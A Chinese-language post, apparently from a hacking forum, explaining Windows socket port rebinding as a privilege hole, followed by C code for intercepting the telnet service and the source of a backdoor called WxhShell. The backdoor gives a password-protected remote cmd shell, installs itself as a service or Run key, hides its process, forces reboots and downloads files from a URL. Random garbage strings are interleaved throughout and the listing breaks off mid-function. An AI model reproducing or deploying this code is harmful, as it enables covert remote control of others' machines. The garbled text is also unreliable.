在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jROh3kq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Qw_>
l}k/ ;NAKU saddr.sin_family = AF_INET;
;<6S\ U[q3 9FR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:xO43z h+cOOm-) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VP ?Q$?a U+(qfa5( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&N3a`Ua k^B7M} 这意味着什么?意味着可以进行如下的攻击:
Wcl =YB% Gg:W% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uKJo5%> EpCNp FQT< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$bBUL C CG J_k?h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sebuuL.l0< j xq89x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P8w56 }XRfHQk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^L\w"`,~ up~p_{x)Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5g'aNkF6> 4
'vjU6gW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j~cG#t] gF;C% } #include
Ly1t'{"7 #include
Q'j00/K #include
46|LIc
} #include
=NPo<^Lae DWORD WINAPI ClientThread(LPVOID lpParam);
h^w# I int main()
S3QX{5t\ {
BHNJH WORD wVersionRequested;
O-~cj7
0\ DWORD ret;
MRK3Cey} % WSADATA wsaData;
OKj\>3 BOOL val;
*Ct
^jU7 SOCKADDR_IN saddr;
P`_Q-vu SOCKADDR_IN scaddr;
a+9_sUq int err;
\!0~$?_)P SOCKET s;
wLg@BSC. SOCKET sc;
Y]B9*^d< int caddsize;
q'Y)Y(d HANDLE mt;
?fpI,WFu DWORD tid;
M{Vi4ehOq wVersionRequested = MAKEWORD( 2, 2 );
c.>OpsF err = WSAStartup( wVersionRequested, &wsaData );
1vqc8lC if ( err != 0 ) {
i^4i]+ printf("error!WSAStartup failed!\n");
C6D
Eq>v return -1;
1=~ ##/at }
FuFICF7+C saddr.sin_family = AF_INET;
3YEw7GIO- _Pl5?5eZj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|4` ;G(ta Dkg-y9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&iJvkt saddr.sin_port = htons(23);
Bv6~!p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WOYN%
0# {
quq !Jswn printf("error!socket failed!\n");
DM(c :+K- return -1;
Cv]$w(k }
5j5}c`: val = TRUE;
n3s //SO_REUSEADDR选项就是可以实现端口重绑定的
LD}<| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5d)\Z0s {
"?"+1S printf("error!setsockopt failed!\n");
}SS~uQ;8 return -1;
okbW. ~ }
]"\sd" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:8lqo%5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(Lkcx06e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v-B&"XGy: X`k#/~+0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*k;%H'2g{} {
|v h{Kb@ ret=GetLastError();
.;;:t0PB printf("error!bind failed!\n");
IvB)d}p return -1;
?]58{O(?c }
Sfffm$H listen(s,2);
G"F:68 while(1)
,<]~/5-f {
#;s5=aH caddsize = sizeof(scaddr);
hta y- //接受连接请求
_K<Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Og9:MFI if(sc!=INVALID_SOCKET)
e<HHgC#J {
kZ<"hsh,Y' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>vfbXnN if(mt==NULL)
*.A{p ;JC( {
fzW!- printf("Thread Creat Failed!\n");
*n2le7 break;
1ac;6` }
U6LENY+Ja }
,2`FSL%J CloseHandle(mt);
] 5:0.$5 }
lD@`xq.M; closesocket(s);
9{XV=a v WSACleanup();
xA]}/* return 0;
H{VJS Jc{ }
nn{PhyK DWORD WINAPI ClientThread(LPVOID lpParam)
! ^TCe8 {
W&;,7T8@ SOCKET ss = (SOCKET)lpParam;
m"RSDM!
SOCKET sc;
q?bKh*48 unsigned char buf[4096];
Y3?)*kz% SOCKADDR_IN saddr;
@XN|R long num;
d3tr9B DWORD val;
y5`$Aa4~ DWORD ret;
o ^Ro 54i //如果是隐藏端口应用的话,可以在此处加一些判断
S)=3%toS> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ktn:6=, saddr.sin_family = AF_INET;
pra0:oHN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nIf~ds&TT saddr.sin_port = htons(23);
.r\|9 *j< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-DL"Yw} {
/#g
P#Z% printf("error!socket failed!\n");
/<T3^/ ' return -1;
JXF0}T)C }
kB-]SD# val = 100;
Y>SpV_H% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uG=~kO {
,U?^u% ret = GetLastError();
A#8J6xcSrL return -1;
bO+]1nZ. }
<KBS ;t="1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a9g~(#?a {
(qDPGd*1 ret = GetLastError();
k]9+/$ return -1;
tx ,q=.( }
@!p0<&R@x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l-?#oy {
DAf0bh" printf("error!socket connect failed!\n");
H_FT%`iM closesocket(sc);
g+3_ $qIQ+ closesocket(ss);
&.[I}KH|B return -1;
4n6t(/]b< }
,C0D|q4/!. while(1)
2U@:.S'K {
vE&K!k` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
t_w2J =2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y@ X>ejk" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)LTX.Kg num = recv(ss,buf,4096,0);
V)A7q9Bum if(num>0)
r -$VPW send(sc,buf,num,0);
/_1q)`NYy else if(num==0)
qFN`pe, break;
{h0T_8L/ num = recv(sc,buf,4096,0);
d9q`IZqee if(num>0)
([dJ'OPx$ send(ss,buf,num,0);
G>,43S!< else if(num==0)
gubw&W break;
;$'D13 }
aY0{v X closesocket(ss);
k|`Qk!tr closesocket(sc);
eL88lV]I return 0 ;
2B b,ZC* }
Hq#q4Y
z-_$P)[c ~Z' /b|x<3 ==========================================================
~-
eB X8y :=k,E 下边附上一个代码,,WXhSHELL
m2[]`Ir^@ qyzH*#d=Cf ==========================================================
mwO9`AU; ujS C #include "stdafx.h"
w_#C8}2 WOi+y #include <stdio.h>
}U|0F#0$ #include <string.h>
Pye/o #include <windows.h>
:QIf0*.O #include <winsock2.h>
zE+^WeH| #include <winsvc.h>
=rA]kGx #include <urlmon.h>
[@Mo3]#\ S4VM(~,o #pragma comment (lib, "Ws2_32.lib")
l'7'G$v #pragma comment (lib, "urlmon.lib")
uc aa;zj >~jl0!2z@ #define MAX_USER 100 // 最大客户端连接数
X3'd~!a) #define BUF_SOCK 200 // sock buffer
lJdrrR)wg #define KEY_BUFF 255 // 输入 buffer
ai"N;1/1O| 8Y [4JXUK #define REBOOT 0 // 重启
;:/C.%d
#define SHUTDOWN 1 // 关机
zMh`Uqid CbFO9q #define DEF_PORT 5000 // 监听端口
jH k.]4&0 +]p/.-Uw #define REG_LEN 16 // 注册表键长度
E]W
: #define SVC_LEN 80 // NT服务名长度
)M*Sg?L %xA-j]%?ep // 从dll定义API
(dwb{+HW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RQU-]qQ8BM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E+cx8( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8>`8p0I$+
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\%_sL#? b%7zu}F // wxhshell配置信息
N?IdaVLj struct WSCFG {
}Z)YK}_1 int ws_port; // 监听端口
Q w)U char ws_passstr[REG_LEN]; // 口令
e!vWGnY int ws_autoins; // 安装标记, 1=yes 0=no
Zn:]?%afdO char ws_regname[REG_LEN]; // 注册表键名
kQ"Ax? b char ws_svcname[REG_LEN]; // 服务名
dF7`V J2 char ws_svcdisp[SVC_LEN]; // 服务显示名
W&HxMi char ws_svcdesc[SVC_LEN]; // 服务描述信息
08/Tk+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B.L _EIw int ws_downexe; // 下载执行标记, 1=yes 0=no
poy_?7G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ZEs^b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`+i/rc1. :-$TD('F };
a:KL{e[ zEh&@{u? // default Wxhshell configuration
2M)E1q|a struct WSCFG wscfg={DEF_PORT,
`yh][gqVE~ "xuhuanlingzhe",
q8MyEoc:n 1,
3gYtu-1 "Wxhshell",
<?h(Dchq "Wxhshell",
5b->pc "WxhShell Service",
-@Z9h)G| "Wrsky Windows CmdShell Service",
KQ0f2? "Please Input Your Password: ",
udPLWrPF\ 1,
lQxEiDIL "
http://www.wrsky.com/wxhshell.exe",
ra8AUj~RX "Wxhshell.exe"
>sQf{uL };
q#K0EAgC xeKm} MN]S // 消息定义模块
h6?o)Q>N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
),H1z`c&I char *msg_ws_prompt="\n\r? for help\n\r#>";
E:;MI{;7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~MP/[,j` char *msg_ws_ext="\n\rExit.";
SNf~%B?`L char *msg_ws_end="\n\rQuit.";
&yI>A1 char *msg_ws_boot="\n\rReboot...";
Oj8D+sC{ char *msg_ws_poff="\n\rShutdown...";
&~'i,v|E char *msg_ws_down="\n\rSave to ";
jQ8
T y5 X FJj char *msg_ws_err="\n\rErr!";
92~$Qa\S! char *msg_ws_ok="\n\rOK!";
(a"/cH sGE%zCB char ExeFile[MAX_PATH];
n g9_c int nUser = 0;
Wu/:ES)C HANDLE handles[MAX_USER];
u+c2
m int OsIsNt;
z\YLO%Mm Mm!;+bM% SERVICE_STATUS serviceStatus;
-s\R2_( SERVICE_STATUS_HANDLE hServiceStatusHandle;
uQKo2B0 eN`G2eE // 函数声明
v1/Y0 int Install(void);
i=&]%T6Qk int Uninstall(void);
)1 QOA int DownloadFile(char *sURL, SOCKET wsh);
9A87vs4[ int Boot(int flag);
aGAr24]y void HideProc(void);
r.c:QY$ int GetOsVer(void);
/N,\ st int Wxhshell(SOCKET wsl);
[fY7| void TalkWithClient(void *cs);
7jGfQ int CmdShell(SOCKET sock);
0}po74x*r int StartFromService(void);
v^ v \6uEP int StartWxhshell(LPSTR lpCmdLine);
qRz /$|. ( X+2vN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
])q,mH VOID WINAPI NTServiceHandler( DWORD fdwControl );
]YOWCFAQot w-C%,1F,/ // 数据结构和表定义
=E-o@#BS SERVICE_TABLE_ENTRY DispatchTable[] =
QB !% {
<U8w# dc {wscfg.ws_svcname, NTServiceMain},
2*]
[M,L0c {NULL, NULL}
q
s:TR };
NC iBn>=: bf.yA:~U // 自我安装
7 0EH~ int Install(void)
wOLV?Vk {
eU.C<Tv:8 char svExeFile[MAX_PATH];
2B5Ez,'#x HKEY key;
x:h)\%Dg< strcpy(svExeFile,ExeFile);
c2L\m*^o !#W3Q // 如果是win9x系统,修改注册表设为自启动
B
]sVlbt if(!OsIsNt) {
M.bkFuh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PDLps[a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jv6>7@<G RegCloseKey(key);
1=e(g#Ajn\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"'/+}xM"5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
; P$ _:-C RegCloseKey(key);
qn'TIE. return 0;
P@%L.y
B }
jy_4W!4a }
C0/G1\ }
KTwP.!<v else {
?{xD{f$ cob??|,\m // 如果是NT以上系统,安装为系统服务
|?hsMN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8k+k\V{ if (schSCManager!=0)
[
$" {
#K iqV6E SC_HANDLE schService = CreateService
%a:T9v (
@Vy Ne(U schSCManager,
l}k'ZX 4 wscfg.ws_svcname,
mx#)iHY wscfg.ws_svcdisp,
sCp)o,; SERVICE_ALL_ACCESS,
DghqSL^s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=NSunW! SERVICE_AUTO_START,
d(Hqj#`-31 SERVICE_ERROR_NORMAL,
AYfe_Dj svExeFile,
s,l*=< NULL,
",#Ug"|2 NULL,
vNdW.V} NULL,
jVHS1Vsei NULL,
l3/Cj^o4 NULL
}*O8]lG );
P*OT&q if (schService!=0)
%!A-K1Z\D {
-Owb@Nw
CloseServiceHandle(schService);
7Jd&9&O U CloseServiceHandle(schSCManager);
K@/dQV%Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Lr(JnS strcat(svExeFile,wscfg.ws_svcname);
="PFCxi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
rq\<zx]au RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
UUa@7|x RegCloseKey(key);
`tcX[(` return 0;
bH :C/P<x }
hlz/TIP^N3 }
4 /v[.5 CloseServiceHandle(schSCManager);
~QUN O~ }
9l:[jsk<d }
*P&lAyt6 g>`D!n::n return 1;
B__e*d:)!m }
.9Dncsnf,` 5@
Hg 4. // 自我卸载
9xE_Awlc85 int Uninstall(void)
D9hq$? {
z4zPR?%: HKEY key;
:bL^S1et x}=Q)|)] if(!OsIsNt) {
oq b(w+< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B}K<L\S RegDeleteValue(key,wscfg.ws_regname);
J,s:CBCGL RegCloseKey(key);
FMzG6nrdBN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6&L;Sw#Dg RegDeleteValue(key,wscfg.ws_regname);
NbCIL8f] RegCloseKey(key);
P
m&^rC; return 0;
5H|7DVG }
6E(..fo:" }
_c-(T&u< }
0%,?z`UY else {
CkNh3'<wg +Fh,!` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3II*NANeg if (schSCManager!=0)
I :bT"N {
^upd:q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,f<J4U:Y if (schService!=0)
jM-5aj[K {
"v0SvV<7 if(DeleteService(schService)!=0) {
;lt8~ea CloseServiceHandle(schService);
uD[T l CloseServiceHandle(schSCManager);
09{ s' return 0;
,DEcCHr, }
563ExibH CloseServiceHandle(schService);
N^k&
8 }
7{9M
^.} CloseServiceHandle(schSCManager);
ic l]H }
=EU;%f }
zZey d#W^S[[ return 1;
Lf%}\0: }
,4B8?0sH| }r;=<mc,O // 从指定url下载文件
YN7`18u int DownloadFile(char *sURL, SOCKET wsh)
g`tV^b") {
q]*jTb HRESULT hr;
cmq4w&x/ char seps[]= "/";
e-1G\}E char *token;
'q RQO(9&m char *file;
+oHbAPs8 char myURL[MAX_PATH];
ou`KkY|| char myFILE[MAX_PATH];
=)*ZrD $D D esy3 strcpy(myURL,sURL);
/s+S\
djk token=strtok(myURL,seps);
-"^xg" while(token!=NULL)
rhly.f7N=A {
ug;~dhe~ file=token;
{kb7u5- token=strtok(NULL,seps);
(.L?sDQ</z }
EB6X
Yr 7@m+y GetCurrentDirectory(MAX_PATH,myFILE);
}OTJ{eG strcat(myFILE, "\\");
z2!4w +2 strcat(myFILE, file);
%%)y4>I send(wsh,myFILE,strlen(myFILE),0);
A>HCX 4i send(wsh,"...",3,0);
7W5Cm\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3-kL0Q[" if(hr==S_OK)
N[v=;& return 0;
nHp(,'R/ else
H$pgzNL return 1;
?IoA;GBg mZuLwd$0 }
,WM-%2z^4I lvNi/jk // 系统电源模块
$xF[j9nM int Boot(int flag)
_N>#/v)Yi {
K8_\U0 K HANDLE hToken;
Gvvw:]WgF TOKEN_PRIVILEGES tkp;
Cb.M 6':Egh[; if(OsIsNt) {
w ykaf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6UL9+9[C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z<0/#OP' tkp.PrivilegeCount = 1;
k`5K& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/<%L& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
SZ7; }
r8 if(flag==REBOOT) {
K@
&;f(Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M-q5Jfm return 0;
rw0s$~' }
.j=mT[N,I else {
%Y5F@=>& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f&RjvVP?s return 0;
^62I 5k/u }
<U\8&Uv> }
NA`8 ^PZ else {
g-NrxyTBlx if(flag==REBOOT) {
ra_v+HR7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j'hWhLax return 0;
%T\2.vl }
J8Vzf$t}; else {
acQHqR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jB0Ts;5 return 0;
_{eA8J(A<
}
EQ|Wke }
m&be55M; ~ tN/ return 1;
BglbQ'6p }
{y%@1q%" 5@I/+D // win9x进程隐藏模块
% I2JS void HideProc(void)
gFfKK`)}D' {
.WuSW[g v-Q>I5D;: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$+Z2q<UT if ( hKernel != NULL )
)e6sg]# {
*~b~y7C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j#Lj<jX!xR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]#G1
]U FreeLibrary(hKernel);
0[N1SY\lj }
.C ,dV7 b^P\Q s*m return;
H\9ePo\b~ }
|B64%w>Y 036QV M$ // 获取操作系统版本
bqx2lQf,_ int GetOsVer(void)
HEhBOER? {
)p:+!sX( OSVERSIONINFO winfo;
&n0Ag]$P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=Mxu,A GetVersionEx(&winfo);
/g!Xe]Ss if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$&Z#2
X. return 1;
eIN0T;1T else
P7l3ZH( g return 0;
t -fmA?\ }
Sl%6F! AI9922}* // 客户端句柄模块
TgJ6O,0 int Wxhshell(SOCKET wsl)
\$F#bIjC {
HMmVfGp] SOCKET wsh;
y-gXGvZ struct sockaddr_in client;
Pj{I}4P` DWORD myID;
=U8+1b 5l%g3F while(nUser<MAX_USER)
}Gx@1)?? {
uf:'"7V7 int nSize=sizeof(client);
K*4ib/'E a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]&P 4QT)f if(wsh==INVALID_SOCKET) return 1;
*Ue#Sade 2:e7'}\D. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CteNJBm if(handles[nUser]==0)
U9awN&1([ closesocket(wsh);
:QXKG8^ else
7+hc?H[&' nUser++;
ua_,c\iL }
Ae1b`%To WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^< *Gj`1#Z$ return 0;
Ag8lI+
h }
1Y~'U
=9 4-$kcwA // 关闭 socket
U:[CcN/~3 void CloseIt(SOCKET wsh)
3 +`,'Q9 {
fRkx ^u
P closesocket(wsh);
6k<3,`VV| nUser--;
x;LO{S4Z ExitThread(0);
d5R2J:dI }
UDnCHGq H6`zzH0" // 客户端请求句柄
F"3'~6 void TalkWithClient(void *cs)
c+8 Y|GB {
_x,(576~ /ZH* t \ SOCKET wsh=(SOCKET)cs;
NJOV!\k char pwd[SVC_LEN];
6KPjZC< char cmd[KEY_BUFF];
TB84} char chr[1];
&SPr#OkW int i,j;
ilZ5a&X; !0):g/2h while (nUser < MAX_USER) {
&+H\ST(/ I'N!j>5oX if(wscfg.ws_passstr) {
"1%k"+& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<DII%7q,6/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PGVP0H+RV //ZeroMemory(pwd,KEY_BUFF);
U#XW}T=| i=0;
:/RvtmW while(i<SVC_LEN) {
J{Ld)Q,^ #'RfwldD9 // 设置超时
yC4%z)t&R fd_set FdRead;
f rV_5yK' struct timeval TimeOut;
w=0zVh_`( FD_ZERO(&FdRead);
niYD[Ra\xP FD_SET(wsh,&FdRead);
t~!ag#3['. TimeOut.tv_sec=8;
Y|W#VyM- TimeOut.tv_usec=0;
Ln/*lLIOb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/sPa$D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]g,j w]N;HlU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
O<dCvH pwd
=chr[0]; 1W}k>t8?h'
if(chr[0]==0xd || chr[0]==0xa) { k
,r*xt
pwd=0; st#^pWL
break; r|/9'{!
} Q
trU_c2k
i++; XjxI@VXzUV
} vVsaGW
=eh!eZ9
// 如果是非法用户,关闭 socket k RSY;V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BV\~Dm]"
} :X7O4?ww
Qk@BM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /1= x8Sb
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^l5M^.
I+jc
while(1) { |O"Pb`V+
vSH-hAk
ZeroMemory(cmd,KEY_BUFF); yHZ&5
Wv,?xm
// 自动支持客户端 telnet标准 'kg~#cf/+
j=0; U2\k7I
while(j<KEY_BUFF) { x_/H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2_Cp}Pj
cmd[j]=chr[0]; Lg2PP#r
if(chr[0]==0xa || chr[0]==0xd) { WW7E*kc
cmd[j]=0; oB'5':
break; th0>u.hJ
} ~uB@o KMru
j++; \rS-}DG
} m+ #G*
aFh'KPhe
// 下载文件 %0f*OC
if(strstr(cmd,"http://")) { [RTo[-ci2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V_|HzYJJ5
if(DownloadFile(cmd,wsh)) e%0IEX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _LWMz=U=J/
else x$S~>H<a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +]hc!s8
} \D#+0
else { xq%BR[1
=Fq{#sC>
switch(cmd[0]) { 4r7aZDVA\
8. %g&%S
// 帮助 u(ETc*D]
case '?': { `1FNs?j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {%\;'&@z\
break; a<((\c_8G
} *;lb<uLv
// 安装 xz7CnW1
case 'i': { F^=y+}]=
if(Install()) jo0XOs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i/C0
(!
else -}8r1jQH;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!,jTaZz
break; x"Ij+~i{l
} V@1,((,l
// 卸载 c5[~2e
case 'r': { gDH|I;!
if(Uninstall()) E
<r;J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kkj_k:Eah
else $u)#-X;x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Y2n6gkH[
break; KT<N
;[;
} ItAC=/(d
// 显示 wxhshell 所在路径 w7<4D,hk
case 'p': { GzT?I
7|M
char svExeFile[MAX_PATH]; 160BgFM
strcpy(svExeFile,"\n\r"); o+S?j*mv@
strcat(svExeFile,ExeFile); F5w=tK
send(wsh,svExeFile,strlen(svExeFile),0); =[gFaB_H
break; V:g XP1P
} HDs8 M
// 重启 :"+3Uk2
case 'b': { *kJa$3*r
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QxBH{TG
if(Boot(REBOOT)) ya;(D 8x)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf@Xz7{z
else { q+lCA#Sx
closesocket(wsh); =Q!V6+}nY^
ExitThread(0); 2k`Q+[?{q>
} j?!/#'
break; dmMrZ1u2
} G/KTF2wl7
// 关机 ~BXy)IB6
case 'd': { ?.nD!S@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Vr}ipx-k
if(Boot(SHUTDOWN)) ,awkL
:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L 1q]
else { Q:Y`^jP
closesocket(wsh); "m}N
hoD4
ExitThread(0); m`@~ZIa?>B
} ',6d0>4*
break; xQqZi b5I
} G4uOY?0N
// 获取shell 48mTL+*
case 's': { rFto1m
CmdShell(wsh); miY=xwK&
closesocket(wsh); EDA6b]
ExitThread(0); b|Eo\l2
break; 3E8 Gh>J_
} t0T#Xb
// 退出 }&EdA;/o_
case 'x': { uN$ <7KB"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qp/nWGj
CloseIt(wsh); P_
b8_ydU
break; :IozWPs*
} (%{!TJg ZR
// 离开 >5Sm.7}R
case 'q': { Q1DiEg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); IXR%IggJA
closesocket(wsh); jZqCM{
WSACleanup(); /8lmNA
exit(1); +a'nP=e&
break; $,1KD3;+]
} nA+gqY6 6|
} 1]7v3m
} In}~bNv?
;O({|mpS\
// 提示信息 BM02k\%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =>xyJ->R
} 3+I"Dm,
} ,WS{O6O7
e~$aJO@B.R
return; ban;HGGNG{
} 0-Wv$o[
sTi3x)#xB
// shell模块句柄 #-g2p?+i&
int CmdShell(SOCKET sock) U+@rLQ.-
{ ?a~#`<
STARTUPINFO si; u9ue>I/
ZeroMemory(&si,sizeof(si)); FF30VlJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /I0}(;^y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U{3Pk0rZ
PROCESS_INFORMATION ProcessInfo; ->@iw!5xu
char cmdline[]="cmd"; fvoPV&:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WAGU|t#."
return 0; snny!
0E\m
} W0# VD e]>
@P<Mc)o^
// 自身启动模式 ` =I@W
int StartFromService(void) q&: t$tSS
{ !f#[4Xw
typedef struct b*cVC^{Dy
{ *Di ;Gf@
DWORD ExitStatus; dca?(B!'6
DWORD PebBaseAddress; ,)t/1oQ}>^
